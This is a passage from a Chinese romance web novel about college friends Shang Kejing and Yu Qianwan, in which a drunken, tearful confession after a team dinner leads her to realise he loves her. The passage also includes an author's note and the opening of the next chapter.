梁晋鹏面色如土,一时间回击不过这么多张嘴,拿起手机就遽然起了身,脸红脖子粗的丢下句“你们不懂货拉倒!” 转身就要走。 “哎。” 位置上有个男生跟着起身,直直朝着梁晋鹏喊了声。 梁晋鹏脚步一顿,还当有人要出来当和事佬哄劝自己,哪知那人眉梢一挑,“梁晋鹏,我绝对信你家底丰厚,所以你回去以后别忘了转账AA啊,每次让你交个钱都费劲,喝酒的时候倒是比谁喝得都多。总不能吃顿饭的钱还得等你爸助理开张支票走流程吧?” “扑哧。” 有一人没憋住笑喷出声,跟着好几人都笑趴在桌子上完全控制不住,浑身都笑颤着,“救命,好嘴……” 梁晋鹏脸色涨得像猪肝,再无任何停留地离开了。 他骤然起身的那一下很用力,椅子脚和地面快速摩擦,发出难听刺耳的一声“呲——” 惹得女生们的聊天都在瞬间停止,不约而同地看过去,只见梁晋鹏大步流星行至门口拉开包间的门,踏出后重重摔上。 她们一脸茫然。 男生那桌却有一半的人霎时大笑出声,“卧槽,真帅啊商学长,我第一次见他这么吃瘪,终于有让他说不出话的时候了。” “他那鞋真是假鞋啊,还是商学长有眼光,早知道就早介绍商学长和他认识了,省得我忍他那么久。” “爽了,他以后应该不会再来篮球队了吧?我每次看到他都烦,以后终于不用再看到他了。” 有部分人则是大梦初醒,“啊……他居然是装的吗?我还以为他真的很有钱呢……对奢侈品那么了解。” “我也是……我第一次买奢侈品的时候还请教过他,问他买什么好,他当时给我说了很多,虽然基本都是没用的,但我感觉他还挺有耐心的。” 身边朋友锐评他:“那是你钝感力太强,人家跟你显摆呢,你都没觉察到,还傻乎乎以为人家好心来帮你呢?实际盼你夸他盼了半天。” “纪成弘,什么情况?” 女生这桌不明所以,其中有个叫苗恬悦的女生性格较为外向,径直朝着男友喊了声询问。 纪成弘立即起身,去到女朋友身边,将刚刚的事和梁晋鹏曾经的‘恢弘战绩’都跟她们说了一遍。 大家都在感叹真是林子大了什么鸟都有,自己穿假货满足虚荣心就算了,怎么骗别人骗到最后好像把自己都骗了进去,这样就算如愿听到了夸赞声自己都不觉心虚吗? 而且现在才十一月,满打满算大一新生也才刚入学两个月多点的时间,他是怎么在这么短的时间里干了这么多让大家都不喜的事的? 虞千绾并没过多参与话题,只因她从中感觉到些奇怪,她认识的商恪景不是这种人,他不会在这种环境里冷不丁去揭一个刚认识不久人的短,她想应该是那个叫梁晋鹏的干了什么让商恪景不舒服了,但从纪成弘这应该是听不到商恪景视角的前因了。 相比起吃瓜,她更关注商恪景的情绪。 心念着,虞千绾侧目看了眼商恪景的方向,正巧商恪景竟也在看向她这边,而且应是比她还要先。 四目就这么不在意料之中的隔空对上,商恪景瞳孔一颤当即就要别开视线,虞千绾并没有意识到他的心虚,只感到巧合,赶忙举起手机朝他晃了晃示意他看手机。 商恪景抬了抬眉,见状伸手去拿手机。 虞千绾也迅速收回视线低头打开手机点入微信,把消息发送给置顶: 【刚刚那人做什么讨厌事了?】 【他跟常桦一个专业的】 商恪景秒回了这几个字,没头没尾的,虞千绾却突然get到一些,瞬间就不好奇具体过程了,手指敲击手机屏幕打字时的力度都不自觉加重,美甲在手机屏幕叩地啪啪作响,【那真是很讨厌了,你说的还是太轻了】 【那把他拉回来,你再从头到脚再评论他一番?我看他那手链好像也是假货】 【那还是算了】 【他说你跟常桦谈过】 【啊啊啊啊啊,你快闭嘴!不许说!!!我不想知道】 哪怕只是这么一句话,虞千绾的脸却有些红温,自觉丢人的她想找条地缝钻进去,但逃脱不得,只能给商恪景发了个【杀杀杀杀】的表情包不许他再说。 她一边因为常桦而感到窘迫,一边庆幸没跟常桦谈过,否则只是暧昧就狼狈成这样,真要谈了,那怕是要被朋友笑话一辈子。 死了都要刻在碑上的那种乌漆嘛黑历史。 正巧,服务员进来给两桌各上了一大碗汤作为收尾,挨着上菜位的人侧身让空,防止汤烫到自己,包间里有关对梁晋鹏的热切讨论氛围也因此停下。 大家的聊天又回归三三两两的,虞千绾和商恪景的聊天也中止。 男生那桌有几个人主动来到商恪景身边,朝他感激举杯,“多谢学长快人快语,拯救我们于水火之中,敬您一杯!” 他们大概真是很讨厌梁晋鹏了,直接将一杯酒爽朗地一饮而尽。 商恪景敛眸凝了酒液面须臾,也微微仰首一饮而尽。 又是一会儿后,心思敏感的魏明轩觉察到些许不对劲,身形往商恪景这边倾靠了些,有些抱歉地低声道:“恪景,梁晋鹏刚刚是不是跟你讲什么话让你不高兴了?我看你心情好像不太好。” “无论怎么样,我替他跟你道个歉,今天本来是高兴的日子,没想到会给你闹出不愉快。” 商恪景摇头淡笑,“没有,你多想了,我跟他不熟,不会轻易因为他不高兴的。” 他不高兴的点并不是因为梁晋鹏,而是梁晋鹏的那些话又让他想起了更讨人厌的常桦。 这段时间,虞千绾新账号首条数据确实不错,但同时也将她更多的暴露在了互联网中,人红是非多这个道理在哪都通用,更何况她当初给常桦做站姐是有实锤的事,于是那批对她有意见的人都在对这点妄加揣测,甚至单独开贴diss。 其中不少视频一看就是常桦粉丝做的,对常桦带着极厚的滤镜,视频从头到尾都在诋毁虞千绾,或直接或暗戳戳。 虞千绾自从和常桦决裂以后就在所有自媒体账号上设置了敏感词,任何和常桦有关的词条都被她设置为不感兴趣,所以上述内容她没有刷到。 那些反倒是商恪景刷到的。 大概是因为号上关注了虞千绾原先那个【千万万万】的账号,并且经常看,所以短视频APP把他定位成常桦的粉丝,还在时不时给他推些常桦或其粉丝制作的视频。 结果诋毁虞千绾的也就这么不设防地进到他视野。 起初,商恪景只是看不爽,下场在评论区点赞了几个为虞千绾讲话的,又骂了几个瞎扯的,然后反手以人身攻击为由举报了这类视频。 结果不知是不是因为他在这类视频停留的时间过长,大数据觉得他爱看给他推了更多,搞得他最近一打开短视频就容易刷到这类,看得他一肚子气,他第一次感觉到常桦这人居然还真是有点粉丝的。 好不容易比赛打赢忘记这事开开心心地出来和朋友们一起吃饭庆祝,结果又被没眼力见的人提到。 商恪景这才感到心情郁郁烦躁,多喝了几杯酒。 很关注队员情绪的魏明轩不太信商恪景的说辞,又跟他聊了几句。后续,魏明轩虽然发现商恪景的确没因为梁晋鹏心情不好,但心情确实有些不佳。 商恪景不想再聊下去,怕被魏明轩挖出隐藏在梁晋鹏后的常桦,于是主动开启了新话题。 他用手肘杵了杵魏明轩胳膊,“说起来,你跟徐盼雁怎么在一起的?谁先表的白?我还不知道具体。” 一提到徐盼雁,魏明轩成熟稳重的面上多出了些不自然的羞赧,他的笑容瞬间就变得不太一样,语调也明显有了变化,“害,你怎么也开始跟他们一样爱八卦了?” “那说明队长你还不是很了解我,我一直都挺八卦的,说说呗,你俩不是一个专业的,我还挺好奇你们的故事。” 魏明轩猛男娇羞地捂了捂脸,静了几秒然后才道:“你估计都不记得了,其实大二那时候的马原课,咱们两个专业是在一个大教室里上的,但我带错了书,她正好坐我旁边,我不得不找她借书一起看了一节课,就那时候认识的,算是初见,但我们那会儿对对方都没什么心思,甚至觉得以后应该就不会再遇见了。哪想到那么巧,我们还都报了学校的志愿者协会,我俩在一个志愿活动现场遇到的时候都惊了一下。” 魏明轩越说越害羞,手上小动作不自觉加多,“因为协会群聊和线下志愿活动,我们一来二去就越来越熟了嘛。至于表白……当然是我先的了,总不能让女孩子来。” “你是怎么确定她喜欢你,然后大胆跟她捅破那层窗户纸的?不怕被拒绝后连朋友都做不成吗?” 商恪景状似八卦追问,实则却是在为自己解惑,他觉得每种身份都有每种身份的相处模式,这其实不难,但从一个身份转变到另一个身份,这其中的转折点到底在哪里,商恪景捉摸不透,在这点上饱受困扰。 “嗯……怎么说呢,其实也不是很确定。” 聊到这些,魏明轩端起饮料杯抿了口还发出声低啊,跟品酒似的,还一本正经皱了皱眉,就跟尝到了酒精的辛辣一般,“我不知道就我这样还是大多数人遇到感情都这样,总之我喜欢上雁雁但还没在一起那阵我都快疯了,一会儿特自信感觉她肯定也喜欢我,只要我认真同她表白很大概率能在一起,一会儿又感觉若即若离患得患失的,感觉是自己太自恋,人家女孩子可能只是礼貌。” 商恪景很能理解这种想法,但他完全不会有。 因为他很清醒的知道虞千绾不喜欢他…… 魏明轩的话还在继续,“正式在一起那天其实很突然,我记得是个暴雨天,那天你们专业在上早八,我早上没课在宿舍睡懒觉,但被一道惊雷吵醒,我一下想起雁雁昨天给我吐槽过时今天要去上早八,打开手机正好又看到很多群里都是有课的校友在吐槽说雨下得突然没带伞,我就给雁雁发消息问她有没有带伞,她说她没带,我就说我去接她。” “后来我接到她,但雨实在太大风也大,吹得雨到处飘,伞根本挡不住,我感觉到和她贴得越来越近,总怕让她感觉到不舒服,我就有意识的往另侧躲避。她看我大半身子都露在雨里就拉了拉我胳膊让我往里头来些,我那会儿脑子都空白了,就在那很呆的说没事,她也有些腼腆没再说话,就是身体跟随着我的方向,我往外挪一点,她也挨近一点。最后把她送回宿舍楼的时候,她半边身子也湿透了,但却一个劲地朝我笑,我当时——” 魏明轩双手交叠捂在心脏上,身形也后仰靠在椅背上,光是想到那幕就心动地闭眼感慨“啊”了声,商恪景仅是看着也仿佛感受到,无声笑了笑。 “就很心动。” “不知道怎么的,反正我反应过来的时候,问她想不想以后每次下雨我都在的话已经问出口了,雁雁愣了下,然后更腼腆地点了点头。当时氛围到那,表白的话顺势就出来了。” 魏明轩嘴上说着徐盼雁当时的腼腆,自己的面色却也没好到哪去,越来越红,不知道的还以为他喝醉了呢。 商恪景光是听着这番描述都能感觉到那份美好的爱情,由衷感叹艳羡,“真好。” 但明明这么美好,商恪景却越听心里头越空落,因为他可能这辈子都感觉不到双向喜欢的美妙爱情了。 抱着这样情绪的他在和魏明轩的交流里不自觉多喝了几杯,等到他意识到自己好像醉了的时候却是为时已晚,意识混沌,视线发飘。 …… 虞千绾发现商恪景喝醉时,整个人都傻了眼,有些无措地站在他身边弯腰轻拍着他的脸颊试图唤醒些他,“商恪景,商恪景,你醒醒。” 他已经趴倒在酒桌上了,像是睡着了。 可聚会已经要彻底结束,大家都在一起商量着拼车方案准备离开了。 虞千绾看着很大一只的商恪景委实棘手头疼,他要是一直不醒,她可弄不动他。 而且现场喝醉的人不在少数,东倒西歪了一片,可以说是一片狼藉,有些人没醉得那么厉害,还算能自己走自己的,但也仅限于此,如若搀扶别人怕是两个人得一起走S线,瞧着就让人不放心。 虽然也有还很清醒的,但弄这些喝醉的已是费劲,更别提目的地不一致的商恪景了,何况虞千绾跟他们也不熟不好意思主动让人跟自己去小区再辗转回学校。 幸而商恪景似乎听到了她的呼唤,眼睛艰难睁开一截,很轻的“嗯”了声,还将脑袋慢吞吞向她的方向移动了分毫。 虞千绾刚露喜色,眉梢上扬,结果还不待她说话,商恪景又闭上了眼睛陷入熟睡,手倒是准确无误地拽住了她的衣摆,很快因为睡着又无力垂下。 虞千绾有些头大的低“啊……”了声,尝试再次喊商恪景,但没再得到回应。 她只能赶紧打电话联系家里的司机,她家里有好几个专职司机,其中有一位叔叔经常健身撸铁,肌肉很大块,估计只有他来才能弄得动商恪景,否则以商恪景这个熟睡程度和身高,恐怕得寻常两个男性才能稳稳扶好他。 万幸,司机还没睡觉,虞千绾把地址告知给他,让他立刻赶过来。 魏明轩知道虞千绾和商恪景不在宿舍住,若不是自己腿伤,他肯定第一时间就跟虞千绾一道去送商恪景回家,偏偏情况特殊,他有心无力,便找了两个还算清醒的男生过来帮着虞千绾把商恪景送回去。 虞千绾没想到魏明轩在一片混乱中还特意帮她找了两个男生,由衷表达感谢,而后道自己已经联系家里司机过来接了,司机是个经常健身很有力气的叔叔,她再从旁帮衬些,两个人一起可以弄得动商恪景,就不麻烦他们了。 闻言,魏明轩便让那两个男生去扶别的醉酒男生下楼打车离开了,自己则和徐盼雁一起留在这陪同着虞千绾等到司机来,不忘提醒她到家后记得给徐盼雁发条消息报平安。 直到亲自看着虞千绾和商恪景乘车离开,魏明轩才和徐盼雁打车回学校。 不知道是不是从楼上下来那段略微艰难,并且从酒楼出来又吹了些风的缘故,商恪景好像没之前醉得那么不省人事了,但也没好到哪里去,他大概也想保持住些许理智就趴在车窗边,任由窗外飕飕的风刮过他的脸颊,将他额前的碎发卷得凌乱。 说起来,这还是虞千绾第一次看到商恪景喝醉,之前知晓他喝醉都是第二天了,只从他的描述里粗粗听到些他醉酒的姿态。 当下亲眼看到感觉还挺微妙的,但想起自己上次醉酒后狂哭的窘态,虞千绾看着非常安静的商恪景只觉自己当初好像在耍酒疯。 贴在车边的商恪景也不知道在想什么,就是眼尾有着很明显被醉意熏得湿红的痕迹。 突然,一小片温热的皮肤贴到了他被风吹得微凉的面侧,跟着其上那截有些坚硬硌人的美甲也一同压了上来,把商恪景侧脸的皮肤都压得微微下陷。 眼睫轻眨,心漪晃荡。 他缓缓地转过些头,看向不知何时挨坐过来离他很近的虞千绾,“怎么……” “你醉了吗?” 虞千绾眨了眨那双圆润灵动的眼。 商恪景诚实道:“有点,到家后你把我丢卧室就不用管了,我喝醉就喜欢睡觉,而且睡得沉。” 他感觉他醉酒后不能动,如果持续在一个地方待在休缓就还好,但也不能太久,那样会睡着,可如果转换地方,就比如从楼上下来的那截路程,他感觉自己醉得都要不省人事,若非室内太暖室外太冷温差大,他那一下被刺激到了,这会儿压根没法醒着。但过会儿到家是从室外回到室内,暖意只会催得人更想睡,他怕是过会儿就要不行了,所以提前给虞千绾打个预防针。 “啊……” 虞千绾似乎不太满意地轻轻折了折秀眉,收回了手,“你真醉了吗?怎么跟我对话这么自如?一点都看不出来。” “酒品比较好吧。” 商恪景淡淡地说。 换来虞千绾很不满意的一声重“啧!” 她觉得商恪景根本就没醉,怎么还会嘲讽人,“你在内涵谁?” 商恪景是真迷糊了,意识都有些游离,思考能力滞缓,但多给他点时间,此刻的他还是能交涉的。 只见他仿佛宕机般维持原貌几秒,突然很轻的笑了声,“我可没说你酒品差,别往自己头上套。” “你就是在说我。” 虞千绾忿忿双手环胸,屁股往外一挪,离他远了些。 车辆正好驶到路口,司机稳稳操控着方向盘拐了个弯,窗外的光线发生了些变化。 原本大多落在商恪景那边的灯光现在自虞千绾车窗那侧照进来,正好把她丰富的神情都给照了出来,一颦一笑全数印入商恪景眼底,他的眼神倏地柔软了许多。 商恪景本身就是双桃花眼,天生让人觉得含情,熏了醉意更显朦胧氤氲,更别提掺上发自内心的澎湃情愫了,深情的不像样。 迟钝如虞千绾都感觉到了,但却只是表面,“商恪景你这双眼睛真是很符合网上说的那种看狗都深情,怪不得那么多女生跟你表白,该不会是误会你的眼神了吧?” 商恪景闭了闭眼,他突然很庆幸自己现在醉了,反应没那么快,否则他怕是要在那瞬间被气得咳出内伤。 默了默,他比照着她的说话格式回了过去,“你也很符合网上说的那种钢铁直女。” “禁止造谣,我可是个很浪漫的小女孩。” 虞千绾完全不认同商恪景这话,所以她不觉得这话是真的,只觉得商恪景是为了回怼自己胡诌的。 殊不知商恪景心又碎了一次。 是浪漫,他在她喜欢常桦的时候见证过很多次,就是不对他浪漫。 一向很满意他们之间相处模式的商恪景在这一瞬间却不满足了,他不想和她打打闹闹,不想和她处成家人,他想和她浓情蜜意,想她也爱他。 喉结滚了滚,分明很寻常的动作,他却觉得涩疼极了。 商恪景彻底将眼睛闭了起来,他不喜欢这种滋味,他感觉自己最近变得越来越不知足了,他几乎快要压不住这份感情了。 明明之前虞千绾追求常桦的时候,他只是在想,她如果不喜欢常桦就好了,他也不指望她喜欢他,只要她身边没旁人就好。 理智尚存的时候,他也是这么想的。 不过与其说想,还不如说是没办法只能如此的自我安慰,而这种安慰,在今夜的接连刺激和酒精之下被彻底催动。 他已经快要招架不住。 偏偏面前阴影覆来,她还在靠近。 商恪景饶是闭着眼睛也能感知到光影的变化。不仅如此,与风一同袭来的还有股独属于她的馨香气味,他的心跳突然跳得很快。 “商恪景?” 虞千绾看着商恪景突然闭上眼睛不说话了有些不明情况,凑上来小声试探,“你睡着了吗?还是醉意上来了不舒服?” 想着上次自己喝醉时他准备的东西,虞千绾又添了句,“你家还有蜂蜜吗?我家的被我喝完了。你家没有的话我马上去小区门口的超市买一瓶回去弄给你喝。” 柔柔的,轻缓的,带着关切的话还在不断往耳朵里钻。 紧跟着,商恪景还感觉到自己的太阳穴被两根纤指覆上,她稍稍用了些力帮他揉着太阳穴,撩而不自知,“这样会不会舒服点?我看我爸喝了酒就会躺在我妈腿上让我妈给他揉揉太阳穴。” 各种感官都仿佛要被她侵袭个彻底。 额际青筋跳了跳,商恪景眼睑蓦地掀开,却不作答,半明半暗中,他就这么直直看着虞千绾,第一次如此在她面前毫不收敛爱意的任由情愫自眼睛传达出。 然而,接受到这种眼神的虞千绾却将脑袋压低了些,近乎要垂到他面前,他们离得太近,都能感受到彼此交织温热的呼吸。 是商恪景先开始的放肆,心如鼓擂鼻息骤止的人却也是他。 但很快,这抹心绪就被极致的无语压了下去——虞千绾给他按揉太阳穴的动作停止,转而将手下移捂住了他的眼睛,“你睡吧我不打扰你了,你眼神都混沌了。” 商恪景:“…………” 带有满满的认命的挫败感,他顺从地闭上了眼,不再说话也不再做出任何动作。 车窗开得很大,夜风很凉,虞千绾给他身上盖了条毯子,跟着就倾身询问有经验的司机叔叔喝些什么能让醉酒的人舒服些。 商恪景边听着她和司机的交涉感知着她的关心止不住的心动,边又气她感情迟钝。 怪来怪去,最怪的还是不知足的自己,想要的越来越多。 虞千绾和司机的交流声还在继续,但商恪景听到的声越来越小了,直至消弭。 再模糊有记忆,他已经被司机和虞千绾协力弄下了车,艰难朝家里行近。 倒在床上的那瞬,他耳畔隐约传入些虞千绾谢谢司机的声音,但就短暂一瞬,很快又没了感知。 虞千绾客气把司机叔叔送出门后,从袋子里拿出刚从楼下超市买来的蜂蜜。 她不仅弄了杯温度适宜的蜂蜜水,还依着从司机叔叔那得来的建议买了维生素C片,准备双管齐下都给商恪景喂下去。 因为司机去酒楼接他们的时候看到了环境,知道这种酒楼里面肯定不会有什么好酒,就算真有学生也消费不起,便提醒虞千绾说廉价酒比好酒更容易宿醉头疼,所以她想多给商恪景喂点尽可能减少他明天起来的不适感。 结果她就弄个蜂蜜水回来的功夫商恪景就完全睡死过去了,明明将他从车里弄上楼的时候他还时不时能配合一点,现在完全没动静了,她喊了半天他都不醒。 她没辙,只得亲自动手捏住他下颚,用蛮力分开他的嘴唇把维生素C片放进去,打算就这么让含片自行在他口中化开。 过了一会儿,虞千绾又分开他齿关观察了下,虽然含片这么化开的速度有些慢,但起码有变化。 可蜂蜜水没法这么弄,虞千绾有些犯难,想着司机的话和自己上次醉后的不适滋味,她还是又加了些劲去推晃商恪景的肩膀,想让他醒来把蜂蜜水喝了。 虽然费了些功夫,但好在这次商恪景动弹了。 虞千绾短短一会儿忙得额头都要冒汗,她轻呼了口气,但生怕商恪景像在包间里那样又秒睡,手动撑开他眼皮,气都没喘匀就赶忙道:“你终于醒了,快坐起来些把蜂蜜水喝了,喝完你想怎么睡就怎么睡。” 商恪景没起身,还因眼皮被突然撑开,他不适应天花板的灯刺来的光线,反倒把眼睛闭得更紧了,但却关注点很奇怪的回了句更莫名其妙的话,“我一直都醒着,醒不过来的人是你。” 语调也不对劲,掺着明显喝大了的醺懒感。 “你——” 想着在照顾酒鬼,虞千绾憋住下意识想回怼的话,“行行行,我醒不过来,你醒的过来,你厉害,你快点坐起来喝点水行不行?” 觉得商恪景喝醉后很难根据她的话做出对应动作,她便想去扶着些商恪景上半身给他些力。 虽然以她的力气肯定没法完全将他弄起来,但如果他也配合一些的话应该是没问题的。 但虞千绾右手才刚触到他颈后,手腕就突然被商恪景扼住,“你怎么就陷在常桦身上醒不过来呢……他到底哪里好……” 原来是在说她这方面醒不过来…… 虞千绾有些无奈,她垂眸视线下移,这才发现商恪景的眼睛已经睁开了大半,正在向上看着她,但那双眼透着股说不清道不明的复杂情绪,虞千绾感知最甚的是委屈,她还以为商恪景又在计较当初,觉得她分了很多时间给爱情,忽略了他这个朋友。 “……怎么喝醉酒还在跟我翻旧账,你是不是醉忘记了我现在跟他没关系了?我醒了,真醒了。” “你醒什么了虞千绾?” 商恪景语调突然很生硬,生硬到有些凶戾,因为醉酒发红的眼睛在这种时候都显得有些吓人,攥着她手腕的力度也不自觉发紧。 虞千绾没被他这么凶过,眼睫高频颤抖了几下,唇瓣翕动但一时间没发出声来。 结果就是此刻表现的这么凶的商恪景,下一秒却像是变了个人,他的眼眶以肉眼可见的速度瞬间变红,眸中还蓄上了些湿意。 攥着虞千绾手腕的手也换了个位置上移了些,但将她的胳膊一点点下拉,最后几乎将她整条小臂都抱在了怀里。 虞千绾被拽着只能顺势坐在床沿配合着他的动作,身形微微前倾,实在是他的眼神看起来好难过,力气又很重。 虞千绾没应对过这样的商恪景,明明没喝酒,脑袋却宕机了。 “你喜欢他的第一年,为了在他生日的时候给他个惊喜,哪怕他那天和朋友在外地旅游,你也偷偷坐着三个小时的高铁顶着暴雨天赶去了,就为了亲口跟他说一声生日快乐,结果回来的时候不可避免的淋到雨,还是月经期,后面两天都痛经痛到在床上蜷缩着满头虚汗。” 完全不在意料中的话让虞千绾喉头一紧,鼻尖莫名也有些酸涩。 她还以为商恪景是委屈自己,原来是在替她委屈…… 商恪景显然醉透了,在心底里埋藏这么多年的话不需理智压制地连成串地往外冒—— “你喜欢他的第二年,依旧是生日,但是你的生日,结果还是你巴巴跑去找他,给他花了一堆钱,却没换来他一句生日快乐。” “还是你提醒他那天是你生日,他才想起来。” 他的声音开始控制不住的哽咽,说话开始变得艰难,语速却在加快,显得他更加痛苦了。 “你喜欢他的第三年……他暑假待的城市突发地震,你给他发消息他不回,你不顾危险赶去,到了后却得到他离开的消息,他也不问你有没有安全离开,就说了句——我哪知道你会来。” 商恪景的眼眶更红了,“虞千绾你知道吗,我记这句话记到现在……” “尤其你后面还嬉笑着和我说,幸好他走了,我当时真的很难受,我想你虞千绾成绩这么好,从来也不是个傻的,可以赢下各类比赛,也可以考得上京大,怎么偏偏在他身上这么傻。” “只想着他,全不想自己的……” “我当然也知道他有对你好的地方,有让你着迷的地方,但他对你的下限太低、太低……” 虞千绾本想说,这些事都过去了,她爱得起也放得下。但此刻看着商恪景伤心到极致不断掉下的眼泪,她也不自觉落了泪。 他哭的比上次还要伤心。 虞千绾已然不会因为常桦流眼泪了,但听着好友诉说他视角里对她心疼,看着他的眼泪,她的眼泪也滑落得越来越快。 许是他们之间很少煽情,她也从没听过商恪景说这些,所以这场借由喝醉才能诉出的话让虞千绾泪腺有些决堤。 商恪景到底还是醉着的,只顾着把自己心里闷着的话说出来,也不想得到什么回应,更何况现在的他就算得到回应也没那理智,他只是在单方面抒发。 见他话停了下来,眼睑眨动频率一点点变缓,似乎是想要睡。 虞千绾赶忙多抽了几张纸给他脸上的眼泪擦了一通,枕头上也落了些,但擦不干,她只能尽量擦拭着。 沉浸在情绪里的她都忘了喂蜂蜜水这茬,只是视线看到什么就忙活什么。 全程,她的右手都被商恪景抱着,她只能用左手动弹着。 就在她情绪渐渐平复,以为商恪景睡着的时候。 他的唇又动了动,很轻很轻的声在寂静的房间里震开,“虞千绾……你好傻,对他傻,对我也傻。” “什么意思?” 虞千绾没听懂,什么叫她对他也傻,他们之间不是互相的吗? 但商恪景没有回答的能力,完全醉了的他似乎有个自己的世界,声音更轻地喃喃:“是不是我说我喜欢你,你都会以为我是在开玩笑……” “算了……我早习惯了。” “轰——” 这话仿佛平地一声雷。 虞千绾彻彻底底地僵住了,一切动作都定格住,就连呼吸和思绪也是。 商恪景完全地睡了过去,他不再说话了,就是怀里依旧抱着虞千绾的小臂。 不知道什么时候,他还将头伏下了些,似乎很眷念这份温暖地将半张脸都贴在她胳膊上,额头时而会很轻地蹭一蹭。 他脸上的眼泪都被虞千绾擦干净了,但那抹湿意还没散去。 他的脸和她的小臂贴得太近,虞千绾完全可以通过小臂感受得到,仿佛也能一起感受得到他的酸楚。 但只是朋友,会有这样浓烈的酸楚吗…… 只是朋友,会这样缱绻地抱住她的胳膊吗…… 只是朋友,醉酒后的真心话会都是关于她的吗…… 虞千绾突然很不安,眼神慌乱地左右乱瞟着,小臂那片皮肤上均匀感受到的来自他的鼻息温度也分外的灼热。 她突然心很慌,里头仿佛有什么以前从未觉察到的东西在生根发芽,她当即用力将手抽了出来。 懵然的脑袋里响起了轰鸣。 就像是一块空白的拼图板,接连被放下几块拼图,忽然后面就跟着顺利许多,一块块衔接的拼图被拼上去,最后看到了整块拼图。 ——“虞千绾,你看见我了吗?” 那日他看电视剧时朝她提出的问题没来由地在脑海里复响,以及得到她答案时的眼神。 虞千绾四肢百骸都有些发麻,一切都好像在论证同一个答案。 原来…… 她那时真的没有看见他。 而且,不止是那时。 作者有话说:想把这章结尾定在千绾发现到商恪景对她不一样的感情,结果中间越写越多,看到突破两万字时我也是惊了[鸽子] 不过!恭喜我们千绾和恪景进入新阶段[奶茶][奶茶][奶茶]《 》 30-35 第31章 第 31 章 【认识很久的朋友好像喜…… 商恪景的酒品很好, 醉酒以后不会大吵大闹耍酒疯,就是很嗜睡。 他本身就对喝酒没什么兴趣,上次喝醉还是高考完的暑假,那天他因为虞千绾星星眼同他念叨常桦的事本就心存不快, 家里人又正好准备给他练练酒量, 带着情绪的他多喝了几杯, 最后醉得不省人事。 迄今已过去三年多的时间, 商恪景都对喝醉的感觉有些陌生了。 一觉睡到大中午, 有些想醒的商恪景在床上翻了个身,长裤顺势摩擦, 被皮带箍了一夜的劲腰也升起了些禁锢太久的紧绷感, 侧身时也感觉到些许硌感。 感到不适的商恪景皱了皱眉,右手自被沿伸进去, 长指熟练且迅速地解开了皮带松开了那种约束感。 他怎么没换睡衣睡觉? 理智微微回笼,这念头刚冒出的瞬间, 昨晚醉酒后发生的一系列事情也如潮水般强势涌入他脑海。 不容他多加反应的, 司机到达酒楼包间来扶他下楼,虞千绾也在一旁尽可能帮着司机使了些劲撑着商恪景时候咬牙艰难挤出的话和画面就这么在他脑海里放映。 ——“商恪景你好沉啊。” ——“商恪景,你怎么醉得这么沉?好歹使些力配合一点好不好?我感觉我的骨头都要被你给压碎了。” 后来则是在车内再有记忆的时候。 再后来,则是到家…… ——“你喜欢他的第一年……” ——“你喜欢他的第二年……” ——“你喜欢他的第三年……” 忆起这些的商恪景顿觉头疼欲裂, 翻身将脸埋进枕头里, 懊悔的五官紧皱,“商恪景你真是疯了……” ——“是不是我说我喜欢你,你都会以为我是在开玩笑……” 可当这句在脑海浮现时, 商恪景脑袋就像是被猛地敲了下,耳畔和脑袋都嗡嗡作响。 但来不及多想,眼皮骤掀, 弹坐起身的他掀开被子就下了床。 刚醒来还没那么清醒且起得太急的商恪景踩到地的那刻身形踉跄了下,但没能阻止他匆匆的步伐,他依旧往前直冲。 手上也没闲着,着急忙慌地把刚解开的皮带又重新系好,只是在半梦半醒间都那么熟悉的动作,现在却格外笨拙,只因他两手都在难自控地发颤,甚至连带着胳膊都在小幅度轻颤。 毫无预兆突临的崩塌感使得商恪景丢了平常的分寸,他没有给虞千绾发消息,甚至连手机都没有带出来,也没顾得收拾自己的外形,没有敲门。 就这么径直出了家门站在她家门口输入密码,脚步声很重地闯入了她家里。 虞千绾正窝在沙发上玩手机,厨房里,保姆阿姨正在做菜。 两人听到门口的动静都齐刷刷侧目看了过来。 “终于醒了,我还以为你要睡到地老天荒呢。” 虞千绾一脸戏谑朝着他笑,一如往昔,“我告诉你啊,我昨晚为了弄你回来可是费了不少劲,你必须得请我吃饭报答我啊。” 如此熟悉的画面,却又如此的……始料未及。 原来,她真的会把他说的喜欢当做是开玩笑,哪怕他已经那么明显了…… 分不清是昨天喝多了酒还是晨起没喝水的缘故,商恪景喉间干涩得要命,紧绷的他发不出声来。 薄唇翕动好几下,他才扯出抹牵强到极致的笑,艰难回应,“……好。” 声音轻到只有他自己才能听到。 保姆端着碗粥踏出厨房招呼商恪景,“恪景,来喝点粥吧,千绾说你昨天喝多了特意让我给你做的,你这刚醒肯定不太舒服吧,喝点醒醒脑。” 商恪景确实感觉自己的头很疼,但不是因为宿醉。 而是他在质疑自己的记忆。 那句话,他昨晚真的跟虞千绾说出去了吗? 为什么她好像什么都没听到一样…… 到底是他在做梦,还是她没听清,抑或是她如他所说那般。 商恪景很乱,他没办法继续待在有虞千绾的环境里。于是他只能竭力伪装,伪装着礼貌,伪装着说话的正常语调,向保姆礼貌道谢后寻了个理由直接把那碗粥给端回了家,没再待在虞千绾家里。 从外关上虞千绾家门的那刻,商恪景迷茫无力又心堵地用手掌重重抵了抵自己的太阳穴。 与之同时,虞千绾面上的笑容也消失,取而代之的是某种更清晰的认知。 手机屏幕被她摁灭,她的脑袋也有些没力地耷拉下去,挨靠在曲着的膝盖上。 而被灭屏的手机最后的页面是在搜索——【认识很久的朋友好像喜欢我该怎么办?】 在此之前,她还搜索过: 【婉拒好朋友感情的话术】 【拒绝好友后还能做朋友吗?】 【有人会分不清友情和爱情吗?】 昨晚从商恪景家里回来后,虞千绾就捋了很久,越捋越感觉曾经明明那么日常那么自然的举动怎么现在变得那么暗藏深意。 睡了一觉醒来,虞千绾又忍不住想,万一是她多想了呢? 商恪景可能喜欢她这事对她的冲击力太大,她委实有些不敢相信。 可刚刚…… 她看着商恪景凌乱着头发,僵着表情突然闯进来,无措看向她想说什么却又说不出的那刻,一切试图自我宽慰的话都破碎了,她第一次如此清晰、明确地看出他对她的别样情绪。 而这种眼神,细细回忆追溯,她却并不陌生。 是她太迟钝。 昨晚在车内,他表现的更加明显…… 虞千绾拒绝过很多追求者,对待拒绝过但还缠着她的人,她甚至是会冷脸厉声表达自己绝对不会喜欢对方,而对方已经给她造成了困扰的直接性格。 她极少会因为和异性感情的事产生困扰,因为那些追求者她都不喜欢,关系也并不亲密,所以断开时完全不需思考,很是决绝。时而有困扰也只是因为追求者太烦人,总是想方设法向她示好,出现在各个她出现的地方,每每这时,她都会让商恪景帮忙挡一下,或者私下跟他吐槽。 